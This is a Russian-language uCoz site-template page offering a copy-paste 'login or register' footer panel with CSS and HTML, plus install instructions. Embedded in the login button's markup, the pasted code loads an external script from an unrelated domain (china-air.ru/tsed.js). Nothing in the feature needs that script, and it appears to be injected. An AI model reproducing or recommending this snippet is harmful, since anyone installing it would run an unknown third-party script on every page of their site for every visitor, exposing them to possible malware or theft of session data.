Наш опрос
Оцените мой сайт
Всего ответов: 24
Случайный анекдот
4 Один приятель хвалится другому: - Я один из тех, кто умеет делать свои будничные дни яркими! - Да? И каким же образом тебе это удаётся? - Я раскрашиваю разноцветными фломастерами будние дни в календаре…
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

» Сегодня нас посетили:
» Зарег. на сайте
Всего: 3476
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
» Из них
Администраторов: 1
Модераторов: 3
С активностью: 176
Авторизованных: 3296

   Стильное оповищение Войти или зарегестрироватся

Скрипт просит посетителя сайта войти или зарегистрироватся  в левом нижнем углу страницы, а когда зашёл как авторизованный пользователь, скрипт показывает красивый мини-профиль для ucoz. 

Установка:
Файлы архива закачайте в папку images файл менеджера.
Заходим: Панель управления » Управление дизайном » Редактирование шаблонов » Глобальные блоки [Блок "Нижняя часть сайта"]
Далее копируем код и вставляем в самый низ в блок < нижняя часть сайта >..

Код

<style type="text/css">  
  .uPanel{background:rgba(0,0,0,0.8);color:#fff;float:left;box-shadow: 0 2px 7px  
  rgba(0, 0, 0, 0.7);-moz-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);-webkit-box-shadow: 0 2px 7px rgba(0, 0, 0, 0.7);padding: 4px 5px 4px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;position:fixed;bottom:7px;left:7px;}  
  .uPanel a.url,.uPanel a.url:visited{display:block;float:left;color:#fff;font-  
  weight:bold;height:26px;line-height:26px;-moz-transition:all 0.4s ease;-webkit-transition:all 0.4s ease;-o-transition:all 0.4s ease;transition:all 0.4s ease;opacity:0.4;padding:0px 7px 0px 7px;position:relative;}  
  .uPanel a.url img{vertical-align:-8px;}  
  .uPanel a.url:hover{text-shadow:0px 0px 5px #fff;color:#fff;opacity:1.0;}  
  .uPanel a.url.highlighted{opacity:1.0;}  
  a.button{display:block;float:left;padding:6px 9px 6px 9px;margin:2px;color:#fff;font-weight:bold;background:url('/images/avtorizachii_dli_ucoz.png') #4E4E4E;background-position:100% 0px;border:1px solid #2D2D2D;border-radius:3px;-moz-border-radius:3px;box-shadow:0px 0px 1px #fff inset;-moz-box-shadow:0px 0px 1px #fff inset;text-shadow:0px -1px 0px #000}  
  a.button:hover{border:1px solid #815500;color:#fff;background-position:100% -28px;text-shadow:0px -1px 0px #815500}  
  a.button:active{border:1px solid #815500;color:#fff;background-position:100% -28px;box-shadow:0px 0px 5px #000 inset;-moz-box-shadow:0px 0px 5px #000 inset;text-shadow:0px -1px 0px #815500}  
  .uPanel a.url span  
  {display:block;position:absolute;bottom:0px;left:20px;color:#fff;background:red;padding:0px 3px 0px 3px;height:14px;line-height:14px;font-size:7pt;font-weight:bold;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;}  
  </style>  
<div class="uPanel" id="uPanel" style="display:none">  
   <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="$USER_AVATAR_URL$" style="width:24px; height:24px;" alt="" /></a> <a href="$PROFILE_URL$" title="Вошли как $USERNAME$" class="url"><img src="http://bambun.ru/images/59.png" style="width:24px; height:24px;" alt="" /> </a>  
  <a href="/index/14" title="Личные сообщения" class="url"><img src="/images/pm.png" /></a>  
  <a href="/index/8" target="_blank" title="Персональная страница" class="url"><img  
  src="/images/wind-color.png"  /></a>  
  <a href="/index/10" title="Выход" class="url"><img src="/images/exit.png" /></a>  
  </div> <div class="uPanel">  
  <a class="button" href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><span>Войти</span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a class="button" href="/index/3"><span>Зарегистрироваться</span></a> </div>   
   
  <script>$("#uPanel").fadeIn('normal');$("#uPanel a.url").tipsy({gravity: 'sw',  
  html: true});</script>


Скачать архив 4,82 кб Html редактор
Автор: startsmart
Просмотров: 9045
31.12.2012


Другие статьи почитайка;)
Поделись ссылкой на форумах
Ссылка:
BB-code:
HTML:


« Пред. Стильное оповищение Войти или зарегестрироватся След. »


Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Мини-чат
Топ пользователей
Новое на форуме








Комментарии
11.06.2022